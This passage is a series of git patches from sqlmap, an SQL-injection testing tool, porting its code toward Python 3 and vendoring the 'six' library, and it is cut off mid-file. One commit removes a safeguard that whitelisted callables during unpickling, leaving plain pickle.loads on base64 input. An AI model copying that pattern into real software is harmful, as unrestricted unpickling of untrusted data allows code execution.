http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations else: - data = gzip.GzipFile("", "rb", 9, StringIO.StringIO(page)) + data = gzip.GzipFile("", "rb", 9, io.BytesIO(page)) size = struct.unpack("<l", page[-4:])[0] # Reference: http://pydoc.org/get.cgi/usr/local/lib/python2.5/gzip.py if size > MAX_CONNECTION_TOTAL_SIZE: raise Exception("size too large") diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 074832b065d..6c53c61c35e 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -5,13 +5,12 @@ See the file 'LICENSE' for copying permission """ +import io import time import types import urllib2 import urlparse -from StringIO import StringIO - from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -165,7 +164,7 @@ def _(self, length=None): except: redurl = None result = fp - fp.read = StringIO("").read + fp.read = io.BytesIO("").read else: result = fp diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 457b3a5f1ba..4eb9842fccc 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -5,10 +5,10 @@ See the file 'LICENSE' for copying permission """ +import io import os import posixpath import re -import StringIO import tempfile import urlparse @@ -97,7 +97,7 @@ def webUpload(self, destFileName, directory, stream=None, content=None, filepath content = f.read() if content is not None: - stream = StringIO.StringIO(content) # string content + stream = io.BytesIO(content) # string content return self._webFileStreamUpload(stream, destFileName, directory) diff --git a/lib/utils/har.py b/lib/utils/har.py index 241b17eafff..b060cd8a403 100644 --- a/lib/utils/har.py +++ b/lib/utils/har.py @@ -9,8 +9,8 @@ import BaseHTTPServer import datetime import httplib +import io import re -import StringIO import time from lib.core.bigarray import BigArray @@ -149,11 +149,11 @@ def parse(cls, raw): comment = "" if altered.startswith("HTTP response [") or altered.startswith("HTTP redirect ["): - io = StringIO.StringIO(raw) - first_line = io.readline() + stream = io.StringIO(raw) + first_line = stream.readline() parts = cls.extract_status.search(first_line) status_line = "HTTP/1.0 %s %s" % (parts.group(1), parts.group(2)) - remain = io.read() + remain = stream.read() altered = status_line + "\r\n" + remain comment = first_line @@ -203,7 +203,7 @@ class FakeSocket: # https://stackoverflow.com/questions/24728088/python-parse-http-response-string def __init__(self, response_text): - self._file = StringIO.StringIO(response_text) + self._file = io.StringIO(response_text) def makefile(self, *args, **kwargs): return self._file @@ -214,7 +214,7 @@ class HTTPRequest(BaseHTTPServer.BaseHTTPRequestHandler): def __init__(self, request_text): self.comment = None - self.rfile = StringIO.StringIO(request_text) + self.rfile = io.StringIO(request_text) self.raw_requestline = self.rfile.readline() if self.raw_requestline.startswith("HTTP request ["): diff --git a/thirdparty/multipart/multipartpost.py b/thirdparty/multipart/multipartpost.py index 76c0505de5b..ac0f13ec7a2 100644 --- a/thirdparty/multipart/multipartpost.py +++ b/thirdparty/multipart/multipartpost.py @@ -20,11 +20,11 @@ Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ +import io import mimetools import mimetypes import os import stat -import StringIO import sys import urllib import urllib2 @@ -53,7 +53,7 @@ def http_request(self, request): try: for(key, value) in data.items(): - if isinstance(value, file) or hasattr(value, "file") or isinstance(value, StringIO.StringIO): + if isinstance(value, file) or hasattr(value, "file") or isinstance(value, io.IOBase): v_files.append((key, value)) else: v_vars.append((key, value)) From a21cbcb665d464e310c77de03e92cd5a36744d06 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 27 Mar 2019 00:58:12 +0100 Subject: [PATCH 175/800] Some minor stuff for Py3 --- lib/core/common.py | 17 ++++++++-------- lib/core/dicts.py | 44 ++++++++++++++++++++++++++++++++++++++++++ lib/core/settings.py | 12 +++++------- lib/request/connect.py | 5 +++-- sqlmap.py | 3 +-- 5 files changed, 61 insertions(+), 20 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index d61d34ecc4e..4aa3133d96e 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -8,12 +8,10 @@ import binascii import codecs import contextlib -import cookielib import copy import distutils import getpass import hashlib -import httplib import inspect import io import json @@ -52,10 +50,6 @@ from extra.cloak.cloak import decloak from extra.safe2bin.safe2bin import safecharencode from lib.core.bigarray import BigArray -from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger -from lib.core.data import paths from lib.core.convert import base64pickle from lib.core.convert import base64unpickle from lib.core.convert import hexdecode @@ -63,11 +57,16 @@ from lib.core.convert import stdoutencode from lib.core.convert import unicodeencode from lib.core.convert import utf8encode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import paths from lib.core.decorators import cachedmethod from lib.core.defaults import defaults from lib.core.dicts import DBMS_DICT from lib.core.dicts import DEFAULT_DOC_ROOTS from lib.core.dicts import DEPRECATED_OPTIONS +from lib.core.dicts import HTTP_RESPONSES from lib.core.dicts import SQL_STATEMENTS from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import CONTENT_STATUS @@ -3305,9 +3304,9 @@ def showHttpErrorCodes(): if kb.httpErrorCodes: warnMsg = "HTTP error codes detected during run:\n" - warnMsg += ", ".join("%d (%s) - %d times" % (code, httplib.responses[code] if code in httplib.responses else '?', count) for code, count in kb.httpErrorCodes.items()) + warnMsg += ", ".join("%d (%s) - %d times" % (code, HTTP_RESPONSES[code] if code in HTTP_RESPONSES else '?', count) for code, count in kb.httpErrorCodes.items()) logger.warn(warnMsg) - if any((str(_).startswith('4') or str(_).startswith('5')) and _ != httplib.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes.keys()): + if any((str(_).startswith('4') or str(_).startswith('5')) and _ != 500 and _ != kb.originalCode for _ in kb.httpErrorCodes.keys()): msg = "too many 4xx and/or 5xx HTTP error codes " msg += "could mean that some kind of protection is involved (e.g. WAF)" logger.debug(msg) @@ -4512,7 +4511,7 @@ def resetCookieJar(cookieJar): errMsg = "no valid cookies found" raise SqlmapGenericException(errMsg) - except cookielib.LoadError as ex: + except Exception as ex: errMsg = "there was a problem loading " errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", r"\g<1>", getSafeExString(ex)) raise SqlmapGenericException(errMsg) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 18c28d72269..4019ef75cdf 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -330,3 +330,47 @@ "osCmd": CONTENT_TYPE.OS_CMD, "regRead": CONTENT_TYPE.REG_READ } + +HTTP_RESPONSES = { + 200: "OK", + 201: "Created", + 202: "Accepted", + 203: "Non-Authoritative Information", + 204: "No Content", + 205: "Reset Content", + 206: "Partial Content", + 100: "Continue", + 101: "Switching Protocols", + 300: "Multiple Choices", + 301: "Moved Permanently", + 302: "Found", + 303: "See Other", + 304: "Not Modified", + 305: "Use Proxy", + 306: "(Unused)", + 307: "Temporary Redirect", + 400: "Bad Request", + 401: "Unauthorized", + 402: "Payment Required", + 403: "Forbidden", + 404: "Not Found", + 405: "Method Not Allowed", + 406: "Not Acceptable", + 407: "Proxy Authentication Required", + 408: "Request Timeout", + 409: "Conflict", + 410: "Gone", + 411: "Length Required", + 412: "Precondition Failed", + 413: "Request Entity Too Large", + 414: "Request-URI Too Long", + 415: "Unsupported Media Type", + 416: "Requested Range Not Satisfiable", + 417: "Expectation Failed", + 500: "Internal Server Error", + 501: "Not Implemented", + 502: "Bad Gateway", + 503: "Service Unavailable", + 504: "Gateway Timeout", + 505: "HTTP Version Not Supported" +} diff --git a/lib/core/settings.py b/lib/core/settings.py index 20b910fcfbd..261ac7db72a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -5,10 +5,10 @@ See the file 'LICENSE' for copying permission """ +import codecs import os import random import re -import subprocess import string import sys import types @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.50" +VERSION = "1.3.3.51" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -218,7 +218,7 @@ DEFAULT_PAGE_ENCODING = "iso-8859-1" try: - unicode(DEFAULT_PAGE_ENCODING, DEFAULT_PAGE_ENCODING) + codecs.lookup(DEFAULT_PAGE_ENCODING) except LookupError: DEFAULT_PAGE_ENCODING = "utf8" @@ -228,12 +228,10 @@ # URL used in dummy runs DUMMY_URL = "http://foo/bar?id=1" -# System variables -IS_WIN = subprocess.mswindows - # The name of the operating system dependent module imported. The following names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce', 'java', 'riscos' PLATFORM = os.name PYVERSION = sys.version.split()[0] +IS_WIN = PLATFORM == "nt" # DBMS system databases MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb") @@ -448,7 +446,7 @@ HASH_EMPTY_PASSWORD_MARKER = "<empty>" # Maximum integer value -MAX_INT = sys.maxint +MAX_INT = sys.maxsize # Replacement for unsafe characters in dump table filenames UNSAFE_DUMP_FILEPATH_REPLACEMENT = '_' diff --git a/lib/request/connect.py b/lib/request/connect.py index 3de5e700ecc..e41beddfa31 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -67,6 +67,7 @@ class WebSocketException(Exception): from lib.core.data import logger from lib.core.datatype import AttribDict from lib.core.decorators import stackedmethod +from lib.core.dicts import HTTP_RESPONSES from lib.core.dicts import POST_HINT_CONTENT_TYPES from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import AUTH_TYPE @@ -427,7 +428,7 @@ def getPage(**kwargs): page = ws.recv() ws.close() code = ws.status - status = httplib.responses[code] + status = HTTP_RESPONSES[code] class _(dict): pass @@ -643,7 +644,7 @@ class _(dict): if ignoreTimeout: return None if not conf.ignoreTimeouts else "", None, None else: - warnMsg = "unable to connect to the target URL (%d - %s)" % (ex.code, httplib.responses[ex.code]) + warnMsg = "unable to connect to the target URL (%d - %s)" % (ex.code, HTTP_RESPONSES[ex.code]) if threadData.retriesCount < conf.retries and not kb.threadException: warnMsg += ". sqlmap is going to retry the request" logger.critical(warnMsg) diff --git a/sqlmap.py b/sqlmap.py index fd654b010ea..bd613389688 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -27,7 +27,6 @@ import re import shutil import sys - import thread import threading import time import traceback @@ -169,7 +168,7 @@ def main(): else: try: start() - except thread.error as ex: + except Exception as ex: if "can't start new thread" in getSafeExString(ex): errMsg = "unable to start new threads. Please check OS (u)limits" logger.critical(errMsg) From dc20c4f0585138038ff8945b0d921a9ce5d0415e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 27 Mar 2019 01:28:34 +0100 Subject: [PATCH 176/800] Minor refactoring --- lib/core/convert.py | 26 +++----------------------- lib/core/settings.py | 6 +----- 2 files changed, 4 insertions(+), 28 deletions(-) diff --git a/lib/core/convert.py b/lib/core/convert.py index a865ef559be..91abe7f9a93 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -9,18 +9,14 @@ import cPickle as pickle except: import pickle -finally: - import pickle as picklePy import base64 -import io import json import re import sys from lib.core.settings import IS_WIN from lib.core.settings import UNICODE_ENCODING -from lib.core.settings import PICKLE_REDUCE_WHITELIST def base64decode(value): """ @@ -66,7 +62,7 @@ def base64pickle(value): return retVal -def base64unpickle(value, unsafe=False): +def base64unpickle(value): """ Decodes value from Base64 to plain format and deserializes (with pickle) its content @@ -76,26 +72,10 @@ def base64unpickle(value, unsafe=False): retVal = None - def _(self): - if len(self.stack) > 1: - func = self.stack[-2] - if func not in PICKLE_REDUCE_WHITELIST: - raise Exception("abusing reduce() is bad, Mkay!") - self.load_reduce() - - def loads(str): - f = io.BytesIO(str) - if unsafe: - unpickler = picklePy.Unpickler(f) - unpickler.dispatch[picklePy.REDUCE] = _ - else: - unpickler = pickle.Unpickler(f) - return unpickler.load() - try: - retVal = loads(base64decode(value)) + retVal = pickle.loads(base64decode(value)) except TypeError: - retVal = loads(base64decode(bytes(value))) + retVal = pickle.loads(base64decode(bytes(value))) return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index 261ac7db72a..7f2ac23f851 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -11,15 +11,13 @@ import re import string import sys -import types -from lib.core.datatype import AttribDict from lib.core.enums import DBMS from lib.core.enums import DBMS_DIRECTORY_NAME from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.51" +VERSION = "1.3.3.52" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -511,8 +509,6 @@ # Table used for Base64 conversion in WordPress hash cracking routine ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" -PICKLE_REDUCE_WHITELIST = (types.BooleanType, types.DictType, types.FloatType, types.IntType, types.ListType, types.LongType, types.NoneType, types.StringType, types.TupleType, types.UnicodeType, types.XRangeType, type(AttribDict()), type(set())) - # Chars used to quickly distinguish if the user provided tainted parameter values DUMMY_SQL_INJECTION_CHARS = ";()'" From 95a28f27010877abf0f3819e28229076a56d0aed Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 27 Mar 2019 02:08:43 +0100 Subject: [PATCH 177/800] Adding new 3rd party library --- doc/THIRD-PARTY.md | 2 + lib/core/settings.py | 2 +- thirdparty/ansistrm/ansistrm.py | 6 +- thirdparty/six/__init__.py | 0 thirdparty/six/six.py | 952 ++++++++++++++++++++++++++++++++ 5 files changed, 958 insertions(+), 4 deletions(-) create mode 100644 thirdparty/six/__init__.py create mode 100644 thirdparty/six/six.py diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index 5b3cbbf3b46..be1fdda4c0a 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -281,6 +281,8 @@ be bound by the terms and conditions of this License Agreement. Copyright (C) 2012, Marcel Hellkamp. * The ordereddict library located under thirdparty/odict/. Copyright (C) 2009, Raymond Hettinger. +* The six Python 2 and 3 compatibility library located under thirdparty/six/. + Copyright (C) 2010-2018, Benjamin Peterson. * The Termcolor library located under thirdparty/termcolor/. Copyright (C) 2008-2011, Volvox Development Team. diff --git a/lib/core/settings.py b/lib/core/settings.py index 7f2ac23f851..e96d5bfbbd0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.52" +VERSION = "1.3.3.53" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/ansistrm/ansistrm.py b/thirdparty/ansistrm/ansistrm.py index 81bd880c385..ace79c055d4 100644 --- a/thirdparty/ansistrm/ansistrm.py +++ b/thirdparty/ansistrm/ansistrm.py @@ -6,12 +6,12 @@ import logging import os import re -import subprocess import sys from lib.core.convert import stdoutencode +from lib.core.settings import IS_WIN -if subprocess.mswindows: +if IS_WIN: import ctypes import ctypes.wintypes @@ -74,7 +74,7 @@ def emit(self, record): except: self.handleError(record) - if not subprocess.mswindows: + if not IS_WIN: def output_colorized(self, message): self.stream.write(message) else: diff --git a/thirdparty/six/__init__.py b/thirdparty/six/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/thirdparty/six/six.py b/thirdparty/six/six.py new file mode 100644 index 00000000000..89b2188fd63 --- /dev/null +++ b/thirdparty/six/six.py @@ -0,0 +1,952 @@ +# Copyright (c) 2010-2018 Benjamin Peterson +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +"""Utilities for writing code that runs on Python 2 and 3""" + +from __future__ import absolute_import + +import functools +import itertools +import operator +import sys +import types + +__author__ = "Benjamin Peterson <benjamin@python.org>" +__version__ = "1.12.0" + + +# Useful for very coarse version differentiation. +PY2 = sys.version_info[0] == 2 +PY3 = sys.version_info[0] == 3 +PY34 = sys.version_info[0:2] >= (3, 4) + +if PY3: + string_types = str, + integer_types = int, + class_types = type, + text_type = str + binary_type = bytes + + MAXSIZE = sys.maxsize +else: + string_types = basestring, + integer_types = (int, long) + class_types = (type, types.ClassType) + text_type = unicode + binary_type = str + + if sys.platform.startswith("java"): + # Jython always uses 32 bits. + MAXSIZE = int((1 << 31) - 1) + else: + # It's possible to have sizeof(long) != sizeof(Py_ssize_t). + class X(object): + + def __len__(self): + return 1 << 31 + try: + len(X()) + except OverflowError: + # 32-bit + MAXSIZE = int((1 << 31) - 1) + else: + # 64-bit + MAXSIZE = int((1 << 63) - 1) + del X + + +def _add_doc(func, doc): + """Add documentation to a function.""" + func.__doc__ = doc + + +def _import_module(name): + """Import module, returning the module after the last dot.""" + __import__(name) + return sys.modules[name] + + +class _LazyDescr(object): + + def __init__(self, name): + self.name = name + + def __get__(self, obj, tp): + result = self._resolve() + setattr(obj, self.name, result) # Invokes __set__. + try: + # This is a bit ugly, but it avoids running this again by + # removing this descriptor. + delattr(obj.__class__, self.name) + except AttributeError: + pass + return result + + +class MovedModule(_LazyDescr): + + def __init__(self, name, old, new=None): + super(MovedModule, self).__init__(name) + if PY3: + if new is None: + new = name + self.mod = new + else: + self.mod = old + + def _resolve(self): + return _import_module(self.mod) + + def __getattr__(self, attr): + _module = self._resolve() + value = getattr(_module, attr) + setattr(self, attr, value) + return value + + +class _LazyModule(types.ModuleType): + + def __init__(self, name): + super(_LazyModule, self).__init__(name) + self.__doc__ = self.__class__.__doc__ + + def __dir__(self): + attrs = ["__doc__", "__name__"] + attrs += [attr.name for attr in self._moved_attributes] + return attrs + + # Subclasses should override this + _moved_attributes = [] + + +class MovedAttribute(_LazyDescr): + + def __init__(self, name, old_mod, new_mod, old_attr=None, new_attr=None): + super(MovedAttribute, self).__init__(name) + if PY3: + if new_mod is None: + new_mod = name + self.mod = new_mod + if new_attr is None: + if old_attr is None: + new_attr = name + else: + new_attr = old_attr + self.attr = new_attr + else: + self.mod = old_mod + if old_attr is None: + old_attr = name + self.attr = old_attr + + def _resolve(self): + module = _import_module(self.mod) + return getattr(module, self.attr) + + +class _SixMetaPathImporter(object): + + """ + A meta path importer to import six.moves and its submodules. + + This class implements a PEP302 finder and loader. It should be compatible + with Python 2.5 and all existing versions of Python3 + """ + + def __init__(self, six_module_name): + self.name = six_module_name + self.known_modules = {} + + def _add_module(self, mod, *fullnames): + for fullname in fullnames: + self.known_modules[self.name + "." + fullname] = mod + + def _get_module(self, fullname): + return self.known_modules[self.name + "." + fullname] + + def find_module(self, fullname, path=None): + if fullname in self.known_modules: + return self + return None + + def __get_module(self, fullname): + try: + return self.known_modules[fullname] + except KeyError: + raise ImportError("This loader does not know module " + fullname) + + def load_module(self, fullname): + try: + # in case of a reload + return sys.modules[fullname] + except KeyError: + pass + mod = self.__get_module(fullname) + if isinstance(mod, MovedModule): + mod = mod._resolve() + else: + mod.__loader__ = self + sys.modules[fullname] = mod + return mod + + def is_package(self, fullname): + """ + Return true, if the named module is a package. + + We need this method to get correct spec objects with + Python 3.4 (see PEP451) + """ + return hasattr(self.__get_module(fullname), "__path__") + + def get_code(self, fullname): + """Return None + + Required, if is_package is implemented""" + self.__get_module(fullname) # eventually raises ImportError + return None + get_source = get_code # same as get_code + +_importer = _SixMetaPathImporter(__name__) + + +class _MovedItems(_LazyModule): + + """Lazy loading of moved objects""" + __path__ = [] # mark as package + + +_moved_attributes = [ + MovedAttribute("cStringIO", "cStringIO", "io", "StringIO"), + MovedAttribute("filter", "itertools", "builtins", "ifilter", "filter"), + MovedAttribute("filterfalse", "itertools", "itertools", "ifilterfalse", "filterfalse"), + MovedAttribute("input", "__builtin__", "builtins", "raw_input", "input"), + MovedAttribute("intern", "__builtin__", "sys"), + MovedAttribute("map", "itertools", "builtins", "imap", "map"), + MovedAttribute("getcwd", "os", "os", "getcwdu", "getcwd"), + MovedAttribute("getcwdb", "os", "os", "getcwd", "getcwdb"), + MovedAttribute("getoutput", "commands", "subprocess"), + MovedAttribute("range", "__builtin__", "builtins", "xrange", "range"), + MovedAttribute("reload_module", "__builtin__", "importlib" if PY34 else "imp", "reload"), + MovedAttribute("reduce", "__builtin__", "functools"), + MovedAttribute("shlex_quote", "pipes", "shlex", "quote"), + MovedAttribute("StringIO", "StringIO", "io"), + MovedAttribute("UserDict", "UserDict", "collections"), + MovedAttribute("UserList", "UserList", "collections"), + MovedAttribute("UserString", "UserString", "collections"), + MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"), + MovedAttribute("zip", "itertools", "builtins", "izip", "zip"), + MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"), + MovedModule("builtins", "__builtin__"), + MovedModule("configparser", "ConfigParser"), + MovedModule("copyreg", "copy_reg"), + MovedModule("dbm_gnu", "gdbm", "dbm.gnu"), + MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread"), + MovedModule("http_cookiejar", "cookielib", "http.cookiejar"), + MovedModule("http_cookies", "Cookie", "http.cookies"), + MovedModule("html_entities", "htmlentitydefs", "html.entities"), + MovedModule("html_parser", "HTMLParser", "html.parser"), + MovedModule("http_client", "httplib", "http.client"), + MovedModule("email_mime_base", "email.MIMEBase", "email.mime.base"), + MovedModule("email_mime_image", "email.MIMEImage", "email.mime.image"), + MovedModule("email_mime_multipart", "email.MIMEMultipart", "email.mime.multipart"), + MovedModule("email_mime_nonmultipart", "email.MIMENonMultipart", "email.mime.nonmultipart"), + MovedModule("email_mime_text", "email.MIMEText", "email.mime.text"), + MovedModule("BaseHTTPServer", "BaseHTTPServer", "http.server"), + MovedModule("CGIHTTPServer", "CGIHTTPServer", "http.server"), + MovedModule("SimpleHTTPServer", "SimpleHTTPServer", "http.server"), + MovedModule("cPickle", "cPickle", "pickle"), + MovedModule("queue", "Queue"), + MovedModule("reprlib", "repr"), + MovedModule("socketserver", "SocketServer"), + MovedModule("_thread", "thread", "_thread"), + MovedModule("tkinter", "Tkinter"), + MovedModule("tkinter_dialog", "Dialog", "tkinter.dialog"), + MovedModule("tkinter_filedialog", "FileDialog", "tkinter.filedialog"), + MovedModule("tkinter_scrolledtext", "ScrolledText", "tkinter.scrolledtext"), + MovedModule("tkinter_simpledialog", "SimpleDialog", "tkinter.simpledialog"), + MovedModule("tkinter_tix", "Tix", "tkinter.tix"), + MovedModule("tkinter_ttk", "ttk", "tkinter.ttk"), + MovedModule("tkinter_constants", "Tkconstants", "tkinter.constants"), + MovedModule("tkinter_dnd", "Tkdnd", "tkinter.dnd"), + MovedModule("tkinter_colorchooser", "tkColorChooser", + "tkinter.colorchooser"), + MovedModule("tkinter_commondialog", "tkCommonDialog", + "tkinter.commondialog"), + MovedModule("tkinter_tkfiledialog", "tkFileDialog", "tkinter.filedialog"), + MovedModule("tkinter_font", "tkFont", "tkinter.font"), + MovedModule("tkinter_messagebox", "tkMessageBox", "tkinter.messagebox"), + MovedModule("tkinter_tksimpledialog", "tkSimpleDialog", + "tkinter.simpledialog"), + MovedModule("urllib_parse", __name__ + ".moves.urllib_parse", "urllib.parse"), + MovedModule("urllib_error", __name__ + ".moves.urllib_error", "urllib.error"), + MovedModule("urllib", __name__ + ".moves.urllib", __name__ + ".moves.urllib"), + MovedModule("urllib_robotparser", "robotparser", "urllib.robotparser"), + MovedModule("xmlrpc_client", "xmlrpclib", "xmlrpc.client"), + MovedModule("xmlrpc_server", "SimpleXMLRPCServer", "xmlrpc.server"), +] +# Add windows specific modules. +if sys.platform == "win32": + _moved_attributes += [ + MovedModule("winreg", "_winreg"), + ] + +for attr in _moved_attributes: + setattr(_MovedItems, attr.name, attr) + if isinstance(attr, MovedModule): + _importer._add_module(attr, "moves." + attr.name) +del attr + +_MovedItems._moved_attributes = _moved_attributes + +moves = _MovedItems(__name__ + ".moves") +_importer._add_module(moves, "moves") + + +class Module_six_moves_urllib_parse(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_parse""" + + +_urllib_parse_moved_attributes = [ + MovedAttribute("ParseResult", "urlparse", "urllib.parse"), + MovedAttribute("SplitResult", "urlparse", "urllib.parse"), + MovedAttribute("parse_qs", "urlparse", "urllib.parse"), + MovedAttribute("parse_qsl", "urlparse", "urllib.parse"), + MovedAttribute("urldefrag", "urlparse", "urllib.parse"), + MovedAttribute("urljoin", "urlparse", "urllib.parse"), + MovedAttribute("urlparse", "urlparse", "urllib.parse"), + MovedAttribute("urlsplit", "urlparse", "urllib.parse"), + MovedAttribute("urlunparse", "urlparse", "urllib.parse"), + MovedAttribute("urlunsplit", "urlparse", "urllib.parse"), + MovedAttribute("quote", "urllib", "urllib.parse"), + MovedAttribute("quote_plus", "urllib", "urllib.parse"), + MovedAttribute("unquote", "urllib", "urllib.parse"), + MovedAttribute("unquote_plus", "urllib", "urllib.parse"), + MovedAttribute("unquote_to_bytes", "urllib", "urllib.parse", "unquote", "unquote_to_bytes"), + MovedAttribute("urlencode", "urllib", "urllib.parse"), + MovedAttribute("splitquery", "urllib", "urllib.parse"), + MovedAttribute("splittag", "urllib", "urllib.parse"), + MovedAttribute("splituser", "urllib", "urllib.parse"), + MovedAttribute("splitvalue", "urllib", "urllib.parse"), + MovedAttribute("uses_fragment", "urlparse", "urllib.parse"), + MovedAttribute("uses_netloc", "urlparse", "urllib.parse"), + MovedAttribute("uses_params", "urlparse", "urllib.parse"), + MovedAttribute("uses_query", "urlparse", "urllib.parse"), + MovedAttribute("uses_relative", "urlparse", "urllib.parse"), +] +for attr in _urllib_parse_moved_attributes: + setattr(Module_six_moves_urllib_parse, attr.name, attr) +del attr + +Module_six_moves_urllib_parse._moved_attributes = _urllib_parse_moved_attributes + +_importer._add_module(Module_six_moves_urllib_parse(__name__ + ".moves.urllib_parse"), + "moves.urllib_parse", "moves.urllib.parse") + + +class Module_six_moves_urllib_error(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_error""" + + +_urllib_error_moved_attributes = [ + MovedAttribute("URLError", "urllib2", "urllib.error"), + MovedAttribute("HTTPError", "urllib2", "urllib.error"), + MovedAttribute("ContentTooShortError", "urllib", "urllib.error"), +] +for attr in _urllib_error_moved_attributes: + setattr(Module_six_moves_urllib_error, attr.name, attr) +del attr + +Module_six_moves_urllib_error._moved_attributes = _urllib_error_moved_attributes + +_importer._add_module(Module_six_moves_urllib_error(__name__ + ".moves.urllib.error"), + "moves.urllib_error", "moves.urllib.error") + + +class Module_six_moves_urllib_request(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_request""" + + +_urllib_request_moved_attributes = [ + MovedAttribute("urlopen", "urllib2", "urllib.request"), + MovedAttribute("install_opener", "urllib2", "urllib.request"), + MovedAttribute("build_opener", "urllib2", "urllib.request"), + MovedAttribute("pathname2url", "urllib", "urllib.request"), + MovedAttribute("url2pathname", "urllib", "urllib.request"), + MovedAttribute("getproxies", "urllib", "urllib.request"), + MovedAttribute("Request", "urllib2", "urllib.request"), + MovedAttribute("OpenerDirector", "urllib2", "urllib.request"), + MovedAttribute("HTTPDefaultErrorHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPRedirectHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPCookieProcessor", "urllib2", "urllib.request"), + MovedAttribute("ProxyHandler", "urllib2", "urllib.request"), + MovedAttribute("BaseHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPPasswordMgr", "urllib2", "urllib.request"), + MovedAttribute("HTTPPasswordMgrWithDefaultRealm", "urllib2", "urllib.request"), + MovedAttribute("AbstractBasicAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPBasicAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("ProxyBasicAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("AbstractDigestAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPDigestAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("ProxyDigestAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPSHandler", "urllib2", "urllib.request"), + MovedAttribute("FileHandler", "urllib2", "urllib.request"), + 